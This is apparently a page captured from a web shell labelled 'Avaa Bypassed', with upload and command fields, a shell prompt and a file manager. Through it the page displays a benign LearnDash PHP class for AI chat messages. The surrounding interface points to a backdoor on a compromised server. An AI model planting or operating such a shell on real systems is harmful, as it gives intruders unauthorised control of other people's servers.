[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.117.225.254: ~ $
<?php
/**
 * Chat message object class file.
 *
 * @since 4.13.0
 *
 * @package LearnDash\Core
 */

namespace LearnDash\Core\Modules\AI;

/**
 * Chat message object class.
 *
 * @since 4.13.0
 */
class Chat_Message {
	/**
	 * Message text content.
	 *
	 * @since 4.13.0
	 *
	 * @var string
	 */
	public string $content;

	/**
	 * AI provider author role.
	 *
	 * For now, we only support ChatGPT as AI provider. It accepts 3 roles: 'system', 'assistant', and 'user'. In the future, we may support other AI providers that accept different roles.
	 *
	 * @since 4.13.0
	 *
	 * @var string
	 */
	public string $role;

	/**
	 * Is error message.
	 *
	 * @since 4.13.0
	 *
	 * @var bool
	 */
	public bool $is_error = false;

	/**
	 * Message constructor.
	 *
	 * @param string $content  Message text.
	 * @param string $role     AI provider author role.
	 *
	 * @since 4.13.0
	 */
	public function __construct( string $content, string $role = '' ) {
		$this->content = $content;
		$this->role    = $role;
	}

	/**
	 * Mark message as error.
	 *
	 * @since 4.13.0
	 *
	 * @return self
	 */
	public function mark_as_error(): self {
		$this->is_error = true;
		$this->role     = '';

		return $this;
	}
}

Filemanager

Name Type Size Permission Actions
Quiz_Creation Folder 0755
Virtual_Instructor Folder 0755
ChatGPT_Summarizer.php File 7.21 KB 0644
Chat_Message.php File 1.17 KB 0644
Course_Outline.php File 11.49 KB 0644
Provider.php File 2.79 KB 0644
Quiz_Creation.php File 16.37 KB 0644